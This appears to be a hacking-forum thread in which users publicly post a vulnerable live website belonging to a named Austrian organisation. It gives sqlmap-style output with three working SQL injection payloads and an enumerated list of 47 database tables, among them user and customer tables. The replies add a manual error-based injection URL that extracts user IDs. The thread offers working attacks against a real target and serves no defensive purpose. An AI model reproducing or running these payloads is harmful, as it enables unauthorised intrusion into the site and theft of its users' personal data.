2 replies to this topic

[Ch!ller]

http://www.wui-diegruenen.at/index.php?bid=24&site=themen&page=36

Parameter: bid (GET)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: bid=24' RLIKE (SELECT (CASE WHEN (4717=4717) THEN 24 ELSE 0x28 END)) AND 'kQoE'='kQoE&site=themen&page=36

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: bid=24' AND (SELECT 8625 FROM(SELECT COUNT(*),CONCAT(0x717a707a71,(SELECT (ELT(8625=8625,1))),0x7178786271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'gkCW'='gkCW&site=themen&page=36

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: bid=24' AND SLEEP(5) AND 'xnxH'='xnxH&site=themen&page=36
---
web application technology: Apache
back-end DBMS: MySQL >= 5.0
available databases [2]:
[*] information_schema
[*] wuidiegr_01

Database: wuidiegr_01
[47 tables]
+-------------------------+
| ajaxchat                |
| ajaxchat_user           |
| cm_bestellt             |
| cm_kunden               |
| cm_kurs_kunde           |
| cm_kurse                |
| cm_produkte             |
| emailaktionen           |
| emailaktionen_supporter |
| forum_bereiche          |
| forum_bereiche_user     |
| forum_comments          |
| forum_comments_posts    |
| forum_kategorien        |
| forum_kategorien_mods   |
| forum_kats_user         |
| forum_posts             |
| forum_posts_threads     |
| forum_threads           |
| forum_threads_kats      |
| frogos                  |
| gallery_anz             |
| gallery_fotos           |
| gallery_ordner          |
| group_rights            |
| news                    |
| newsletter              |
| newsletter_analytics    |
| newsletter_recipients   |
| newsletter_recipients_  |
| newsletter_rows         |
| pms                     |
| poll                    |
| poll_antworten          |
| poll_cookie             |
| settings                |
| statistik               |
| statistik_links         |
| thema                   |
| thema_bereich           |
| thema_gelesen           |
| themen_bereiche         |
| user_can                |
| user_hobbys             |
| user_must               |
| user_online             |
| user_sites              |
+-------------------------+

[SecurityFlaw]

 

Geht ebenfalls hier:

http://www.wui-diegruenen.at/index.php?site=home'||(SELECT 'x' FROM DUAL WHERE 1=1 AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x3e,(SELECT MID((IFNULL(CAST(`user-id` AS CHAR),0x20)),1,100) FROM wuidiegr_01.user_must ORDER BY `user-id` LIMIT 0,1),0x3c00,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a))||'

[pi^2]

 

 

Geht ebenfalls hier:

http://www.wui-diegruenen.at/index.php?site=home'||(SELECT 'x' FROM DUAL WHERE 1=1 AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x3e,(SELECT MID((IFNULL(CAST(`user-id` AS CHAR),0x20)),1,100) FROM wuidiegr_01.user_must ORDER BY `user-id` LIMIT 0,1),0x3c00,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a))||'

 

ich sehe immernoch manuell unterwegs .. hut ab!